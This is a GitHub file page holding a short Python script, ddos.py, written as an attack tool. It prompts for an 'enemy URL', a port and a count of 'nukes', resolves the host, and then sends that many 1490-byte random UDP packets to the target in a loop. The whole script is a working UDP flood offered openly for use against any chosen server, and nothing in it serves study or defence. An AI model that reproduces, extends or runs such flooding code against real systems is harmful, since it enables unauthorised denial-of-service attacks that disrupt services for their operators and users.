-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathddos.py
44 lines (39 loc) · 1.11 KB
/
ddos.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import requests
import os
import socket
import random
from urllib.parse import urlparse
print("""
**********************
* X_X *
* Made by Mystic-poop*
* Or *
* Xenz *
* *
***********************
""")
print("Write your enemy URL (with http:// or https://)")
url = input()
parsed_url = urlparse(url)
gonnacooked = parsed_url.hostname
print("Which port do you want to attack?")
whichport = int(input())
print("How many nukes to send?")
amountofnukes = int(input())
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1490)
os.system("clear" if os.name == "posix" else "cls")
nukes = 0
try:
ip = socket.gethostbyname(gonnacooked)
except socket.gaierror:
print("Invalid hostname. Could not resolve IP.")
exit()
target = (ip, whichport)
print(f"Starting attack on {target[0]}:{target[1]}")
while nukes < amountofnukes:
sock.sendto(bytes, target)
nukes += 1
print(f"Nuking the server... Sent: {nukes} By mystic-poop or xenz")
print("Done!")
input("Press Enter to exit")